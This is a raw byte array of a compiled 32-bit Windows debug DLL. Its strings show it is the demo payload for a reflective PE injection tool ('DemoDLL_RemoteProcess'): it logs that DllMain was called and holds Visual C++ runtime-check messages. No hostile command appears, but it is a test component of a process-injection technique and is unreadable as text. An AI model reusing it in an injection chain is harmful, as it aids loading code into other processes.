0,92,0,112,0,114,0,111,0,103,0,114,0,97,0,109,0,32,0,102,0,105,0,108,0,101,0,115,0,32,0,40,0,120,0,56,0,54,0,41,0,92,0,109,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,118,0,105,0,115,0,117,0,97,0,108,0,32,0,115,0,116,0,117,0,100,0,105,0,111,0,32,0,49,0,48,0,46,0,48,0,92,0,118,0,99,0,92,0,105,0,110,0,99,0,108,0,117,0,100,0,101,0,92,0,120,0,117,0,116,0,105,0,108,0,105,0,116,0,121,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,255,255,255,255,115,116,114,105,110,103,32,116,111,111,32,108,111,110,103,0,0,0,0,0,105,110,118,97,108,105,100,32,115,116,114,105,110,103,32,112,111,115,105,116,105,111,110,0,0,0,0,0,16,12,2,16,4,17,1,16,145,21,1,16,0,0,0,1,0,0,0,0,1,0,0,0,2,0,0,0,2,0,0,0,2,0,0,0,3,0,0,0,3,0,0,0,4,0,0,0,4,0,0,0,5,0,0,0,5,0,0,0,6,0,0,0,6,0,0,0,7,0,0,0,8,0,0,0,9,0,0,0,1,0,0,0,2,0,0,0,4,0,0,0,8,0,0,0,16,0,0,0,32,0,0,0,63,0,0,0,0,0,0,0,1,0,0,0,2,0,0,0,4,0,0,0,8,0,0,0,16,0,0,0,32,0,0,0,64,0,0,0,128,0,0,0,0,1,0,0,0,2,0,0,0,4,0,0,0,8,0,0,0,16,0,0,0,32,0,0,0,48,0,0,0,64,0,0,0,128,0,0,192,1,0,0,0,14,0,0,0,48,0,0,0,0,0,0,1,0,0,0,2,0,0,0,4,0,0,0,16,0,0,0,1,0,0,0,2,0,0,0,4,0,0,0,8,0,0,0,16,0,0,0,64,0,0,0,128,0,0,0,32,0,0,0,0,0,0,0,1,0,0,0,2,0,0,0,68,108,108,77,97,105,110,32,115,117,99,99,101,115,115,102,117,108,108,121,32,99,97,108,108,101,100,46,10,0,0,0,0,0,0,0,99,58,92,82,101,102,108,101,99,116,105,118,101,76,111,97,100,101,114,84,101,115,116,92,68,108,108,77,97,105,110,46,116,120,116,0,0,0,0,0,0,0,0,0,102,58,92,100,100,92,118,99,116,111,111,108,115,92,99,114,116,95,98,108,100,92,115,101,108,102,95,120,56,54,92,99,114,116,92,115,114,99,92,108,111,99,97,108,101,48,46,99,112,112,0,0,0,0,0,0,0,0,0,0,0,0,0,0,172,12,2,16,73,18,1,16,0,0,0,0,0,0,0,0,102,58,92,100,100,92,118,99,116,111,111,108,115,92,99,114,116,95,98,108,100,92,115,101,108,102,95,120,56,54,92,99,114,116,92,115,114,99,92,99,114,116,100,108,108,46,99,0,0,0,0,0,0,0,0,0,0,0,0,0,85,110,107,110,111,119,110,32,82,117,110,116,105,109,101,32,67,104,101,99,107,32,69,114,114,111,114,10,13,0,0,0,0,0,0,0,83,116,97,99,107,32,109,101,109,111,114,121,32,97,114,111,117,110,100,32,95,97,108,108,111,99,97,32,119,97,115,32,99,111,114,114,117,112,116,101,100,10,13,0,0,0,0,0,0,0,0,0,65,32,108,111,99,97,108,32,118,97,114,105,97,98,108,101,32,119,97,115,32,117,115,101,100,32,98,101,102,111,114,101,32,105,116,32,119,97,115,32,105,110,105,116,105,97,108,105,122,101,100,10,13,0,0,0,0,0,0,0,0,0,0,0,83,116,97,99,107,32,109,101,109,111,114,121,32,119,97,115,32,99,111,114,114,117,112,116,101,100,10,13,0,0,0,0,0,0,0,0,0,0,0,0,65,32,99,97,115,116,32,116,111,32,97,32,115,109,97,108,108,101,114,32,100,97,116,97,32,116,121,112,101,32,104,97,115,32,99,97,117,115,101,100,32,97,32,108,111,115,115,32,111,102,32,100,97,116,97,46,32,32,73,102,32,116,104,105,115,32,119,97,115,32,105,110,116,101,110,116,105,111,110,97,108,44,32,121,111,117,32,115,104,111,117,108,100,32,109,97,115,107,32,116,104,101,32,115,111,117,114,99,101,32,111,102,32,116,104,101,32,99,97,115,116,32,119,105,116,104,32,116,104,101,32,97,112,112,114,111,112,114,105,97,116,101,32,98,105,116,109,97,115,107,46,32,32,70,111,114,32,101,120,97,109,112,108,101,58,32,32,10,13,9,99,104,97,114,32,99,32,61,32,40,105,32,38,32,48,120,70,70,41,59,10,13,67,104,97,110,103,105,110,103,32,116,104,101,32,99,111,100,101,32,105,110,32,116,104,105,115,32,119,97,121,32,119,105,108,108,32,110,111,116,32,97,102,102,101,99,116,32,116,104,101,32,113,117,97,108,105,116,121,32,111,102,32,116,104,101,32,114,101,115,117,108,116,105,110,103,32,111,112,116,105,109,105,122,101,100,32,99,111,100,101,46,10,13,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,84,104,101,32,118,97,108,117,101,32,111,102,32,69,83,80,32,119,97,115,32,110,111,116,32,112,114,111,112,101,114,108,121,32,115,97,118,101,100,32,97,99,114,111,115,115,32,97,32,102,117,110,99,116,105,111,110,32,99,97,108,108,46,32,32,84,104,105,115,32,105,115,32,117,115,117,97,108,108,121,32,97,32,114,101,115,117,108,116,32,111,102,32,99,97,108,108,105,110,103,32,97,32,102,117,110,99,116,105,111,110,32,100,101,99,108,97,114,101,100,32,119,105,116,104,32,111,110,101,32,99,97,108,108,105,110,103,32,99,111,110,118,101,110,116,105,111,110,32,119,105,116,104,32,97,32,102,117,110,99,116,105,111,110,32,112,111,105,110,116,101,114,32,100,101,99,108,97,114,101,100,32,119,105,116,104,32,97,32,100,105,102,102,101,114,101,110,116,32,99,97,108,108,105,110,103,32,99,111,110,118,101,110,116,105,111,110,46,10,13,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,255,1,16,176,253,1,16,136,253,1,16,72,253,1,16,20,253,1,16,240,252,1,16,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,83,116,97,99,107,32,97,114,111,117,110,100,32,116,104,101,32,118,97,114,105,97,98,108,101,32,39,0,39,32,119,97,115,32,99,111,114,114,117,112,116,101,100,46,0,0,0,0,84,104,101,32,118,97,114,105,97,98,108,101,32,39,0,0,39,32,105,115,32,98,101,105,110,103,32,117,115,101,100,32,119,105,116,104,111,117,116,32,98,101,105,110,103,32,105,110,105,116,105,97,108,105,122,101,100,46,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,82,117,110,45,84,105,109,101,32,67,104,101,99,107,32,70,97,105,108,117,114,101,32,35,37,100,32,45,32,37,115,0,0,0,0,0,0,0,0,0,85,110,107,110,111,119,110,32,77,111,100,117,108,101,32,78,97,109,101,0,0,0,0,0,85,110,107,110,111,119,110,32,70,105,108,101,110,97,109,101,0,0,0,0,0,0,0,0,82,0,117,0,110,0,45,0,84,0,105,0,109,0,101,0,32,0,67,0,104,0,101,0,99,0,107,0,32,0,70,0,97,0,105,0,108,0,117,0,114,0,101,0,32,0,35,0,37,0,100,0,32,0,45,0,32,0,37,0,115,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,82,0,117,0,110,0,116,0,105,0,109,0,101,0,32,0,67,0,104,0,101,0,99,0,107,0,32,0,69,0,114,0,114,0,111,0,114,0,46,0,10,0,13,0,32,0,85,0,110,0,97,0,98,0,108,0,101,0,32,0,116,0,111,0,32,0,100,0,105,0,115,0,112,0,108,0,97,0,121,0,32,0,82,0,84,0,67,0,32,0,77,0,101,0,115,0,115,0,97,0,103,0,101,0,46,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,116,97,99,107,32,99,111,114,114,117,112,116,101,100,32,110,101,97,114,32,117,110,107,110,111,119,110,32,118,97,114,105,97,98,108,101,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,116,97,99,107,32,97,114,101,97,32,97,114,111,117,110,100,32,95,97,108,108,111,99,97,32,109,101,109,111,114,121,32,114,101,115,101,114,118,101,100,32,98,121,32,116,104,105,115,32,102,117,110,99,116,105,111,110,32,105,115,32,99,111,114,114,117,112,116,101,100,10,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,37,115,37,115,37,115,37,115,0,0,0,0,62,32,0,0,10,0,0,0,37,115,37,115,37,112,37,115,37,108,100,37,115,37,100,37,115,0,0,0,0,0,0,0,0,0,0,0,83,116,97,99,107,32,97,114,101,97,32,97,114,111,117,110,100,32,95,97,108,108,111,99,97,32,109,101,109,111,114,121,32,114,101,115,101,114,118,101,100,32,98,121,32,116,104,105,115,32,102,117,110,99,116,105,111,110,32,105,115,32,99,111,114,114,117,112,116,101,100,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,10,65,100,100,114,101,115,115,58,32,48,120,0,0,0,0,10,83,105,122,101,58,32,0,0,0,0,0,10,65,108,108,111,99,97,116,105,111,110,32,110,117,109,98,101,114,32,119,105,116,104,105,110,32,116,104,105,115,32,102,117,110,99,116,105,111,110,58,32,0,0,0,0,0,0,0,0,0,0,0,10,68,97,116,97,58,32,60,0,0,0,0,119,115,112,114,105,110,116,102,65,0,0,0,117,0,115,0,101,0,114,0,51,0,50,0,46,0,100,0,108,0,108,0,0,0,0,0,0,0,0,0,37,46,50,88,32,0,0,0,65,32,118,97,114,105,97,98,108,101,32,105,115,32,98,101,105,110,103,32,117,115,101,100,32,119,105,116,104,111,117,116,32,98,101,105,110,103,32,105,110,105,116,105,97,108,105,122,101,100,46,0,0,0,0,0,0,0,0,0,0,0,0,0,83,116,97,99,107,32,97,114,111,117,110,100,32,95,97,108,108,111,99,97,32,99,111,114,114,117,112,116,101,100,0,0,0,0,0,0,0,0,0,0,76,111,99,97,108,32,118,97,114,105,97,98,108,101,32,117,115,101,100,32,98,101,102,111,114,101,32,105,110,105,116,105,97,108,105,122,97,116,105,111,110,0,0,0,0,0,0,0,0,0,0,0,83,116,97,99,107,32,109,101,109,111,114,121,32,99,111,114,114,117,112,116,105,111,110,0,0,0,0,0,67,97,115,116,32,116,111,32,115,109,97,108,108,101,114,32,116,121,112,101,32,99,97,117,115,105,110,103,32,108,111,115,115,32,111,102,32,100,97,116,97,0,0,0,0,0,0,0,0,0,0,0,83,116,97,99,107,32,112,111,105,110,116,101,114,32,99,111,114,114,117,112,116,105,111,110,0,0,0,0,0,0,0,0,136,4,2,16,84,4,2,16,56,4,2,16,4,4,2,16,220,3,2,16,0,0,0,0,136,35,2,16,224,35,2,16,0,0,0,0,0,0,0,0,1,0,0,0,2,0,0,0,3,0,0,0,4,0,0,0,77,0,83,0,80,0,68,0,66,0,49,0,48,0,48,0,46,0,68,0,76,0,76,0,0,0,0,0,77,0,83,0,86,0,67,0,82,0,49,0,48,0,48,0,68,0,46,0,100,0,108,0,108,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,114,0,0,0,80,68,66,79,112,101,110,86,97,108,105,100,97,116,101,53,0,0,0,0,69,0,110,0,118,0,105,0,114,0,111,0,110,0,109,0,101,0,110,0,116,0,68,0,105,0,114,0,101,0,99,0,116,0,111,0,114,0,121,0,0,0,0,0,0,0,0,0,0,0,0,0,83,0,79,0,70,0,84,0,87,0,65,0,82,0,69,0,92,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,92,0,86,0,105,0,115,0,117,0,97,0,108,0,83,0,116,0,117,0,100,0,105,0,111,0,92,0,49,0,48,0,46,0,48,0,92,0,83,0,101,0,116,0,117,0,112,0,92,0,86,0,83,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,82,101,103,67,108,111,115,101,75,101,121,0,0,0,0,0,82,101,103,81,117,101,114,121,86,97,108,117,101,69,120,87,0,0,0,0,82,101,103,79,112,101,110,75,101,121,69,120,87,0,0,0,65,0,68,0,86,0,65,0,80,0,73,0,51,0,50,0,46,0,68,0,76,0,76,0,0,0,0,0,0,0,0,0,68,0,76,0,76,0,0,0,0,0,0,0,77,0,83,0,80,0,68,0,66,0,49,0,48,0,48,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,82,83,68,83,64,160,29,194,36,86,217,72,179,165,176,93,177,59,26,136,2,0,0,0,67,58,92,103,105,116,92,80,111,119,101,114,83,104,101,108,108,92,73,110,118,111,107,101,45,82,101,102,108,101,99,116,105,118,101,80,69,73,110,106,101,99,116,105,111,110,92,68,101,109,111,68,76,76,95,82,101,109,111,116,101,80,114,111,99,101,115,115,92,68,101,98,117,103,92,68,101,109,111,68,76,76,95,82,101,109,111,116,101,80,114,111,99,101,115,115,46,112,100,98,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,96,0,0,0,0,0,0,0,0,32,2,16,120,9,2,16,0,0,0,0,0,0,0,0,0,0,0,0,5,0,0,0,140,9,2,16,0,0,0,0,168,9,2,16,204,9,2,16,24,10,2,16,44,11,2,16,80,11,2,16,0,0,0,0,0,0,0,0,0,32,2,16,4,0,0,0,0,0,0,0,255,255,255,255,0,0,0,0,64,0,0,0,120,9,2,16,0,0,0,0,0,0,0,0,72,32,2,16,3,0,0,0,0,0,0,0,255,255,255,255,0,0,0,0,64,0,0,0,240,9,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,0,0,0,4,10,2,16,0,0,0,0,204,9,2,16,24,10,2,16,44,11,2,16,80,11,2,16,0,0,0,0,144,32,2,16,2,0,0,0,0,0,0,0,0,0,0,0,4,0,0,0,80,0,0,0,60,10,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,80,10,2,16,0,0,0,0,96,10,2,16,132,10,2,16,200,10,2,16,0,0,0,0,144,32,2,16,2,0,0,0,0,0,0,0,255,255,255,255,0,0,0,0,64,0,0,0,60,10,2,16,0,0,0,0,0,0,0,0,208,32,2,16,1,0,0,0,0,0,0,0,255,255,255,255,0,0,0,0,64,0,0,0,168,10,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,188,10,2,16,0,0,0,0,132,10,2,16,200,10,2,16,0,0,0,0,240,32,2,16,0,0,0,0,8,0,0,0,255,255,255,255,0,0,0,0,64,0,0,0,236,10,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,11,2,16,0,0,0,0,8,11,2,16,0,0,0,0,240,32,2,16,0,0,0,0,0,0,0,0,255,255,255,255,0,0,0,0,64,0,0,0,236,10,2,16,0,0,0,0,0,0,0,0,208,32,2,16,1,0,0,0,0,0,0,0,0,0,0,0,4,0,0,0,64,0,0,0,168,10,2,16,0,0,0,0,0,0,0,0,240,32,2,16,0,0,0,0,8,0,0,0,0,0,0,0,4,0,0,0,64,0,0,0,236,10,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,33,2,16,140,11,2,16,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,160,11,2,16,0,0,0,0,172,11,2,16,208,11,2,16,0,0,0,0,20,33,2,16,1,0,0,0,0,0,0,0,255,255,255,255,0,0,0,0,64,0,0,0,140,11,2,16,0,0,0,0,0,0,0,0,92,33,2,16,0,0,0,0,0,0,0,0,255,255,255,255,0,0,0,0,64,0,0,0,244,11,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,8,12,2,16,0,0,0,0,208,11,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,232,33,2,16,40,12,2,16,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,60,12,2,16,0,0,0,0,72,12,2,16,108,12,2,16,0,0,0,0,232,33,2,16,1,0,0,0,0,0,0,0,255,255,255,255,0,0,0,0,64,0,0,0,40,12,2,16,0,0,0,0,0,0,0,0,196,33,2,16,0,0,0,0,0,0,0,0,255,255,255,255,0,0,0,0,64,0,0,0,144,12,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,164,12,2,16,0,0,0,0,108,12,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,34,2,16,196,12,2,16,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,216,12,2,16,0,0,0,0,224,12,2,16,0,0,0,0,20,34,2,16,0,0,0,0,0,0,0,0,255,255,255,255,0,0,0,0,64,0,0,0,196,12,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,93,18,1,16,93,18,1,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,68,18,1,16,68,18,1,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,255,255,255,255,32,179,1,16,0,0,0,0,76,179,1,16,34,5,147,25,2,0,0,0,72,20,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,255,255,255,255,160,179,1,16,34,5,147,25,1,0,0,0,132,20,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,255,255,255,255,224,179,1,16,34,5,147,25,1,0,0,0,180,20,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,34,5,147,25,5,0,0,0,8,21,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,255,255,255,255,32,180,1,16,0,0,0,0,40,180,1,16,1,0,0,0,51,180,1,16,0,0,0,0,62,180,1,16,0,0,0,0,73,180,1,16,0,0,0,0,0,0,0,0,34,5,147,25,6,0,0,0,92,21,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,255,255,255,255,176,180,1,16,0,0,0,0,184,180,1,16,1,0,0,0,195,180,1,16,0,0,0,0,206,180,1,16,0,0,0,0,217,180,1,16,0,0,0,0,228,180,1,16,0,0,0,0,0,0,0,0,255,255,255,255,48,181,1,16,34,5,147,25,1,0,0,0,148,21,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,255,255,255,255,112,181,1,16,34,5,147,25,1,0,0,0,196,21,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,34,5,147,25,5,0,0,0,24,22,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,255,255,255,255,176,181,1,16,0,0,0,0,184,181,1,16,1,0,0,0,195,181,1,16,0,0,0,0,206,181,1,16,0,0,0,0,217,181,1,16,0,0,0,0,0,0,0,0,255,255,255,255,64,182,1,16,34,5,147,25,1,0,0,0,72,22,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,0,0,0,42,78,1,16,1,0,0,0,1,0,0,0,2,0,0,0,1,0,0,0,120,22,2,16,255,255,255,255,112,182,1,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,34,5,147,25,3,0,0,0,156,22,2,16,1,0,0,0,136,22,2,16,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,118,18,1,16,0,0,0,0,40,23,2,16,0,0,0,0,255,255,255,255,160,182,1,16,34,5,147,25,1,0,0,0,248,22,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,2,0,0,0,56,23,2,16,88,23,2,16,0,0,0,0,0,0,0,0,164,33,2,16,0,0,0,0,255,255,255,255,0,0,0,0,12,0,0,0,75,16,1,16,0,0,0,0,0,0,0,0,196,33,2,16,0,0,0,0,255,255,255,255,0,0,0,0,12,0,0,0,25,21,1,16,0,0,0,0,255,255,255,255,224,182,1,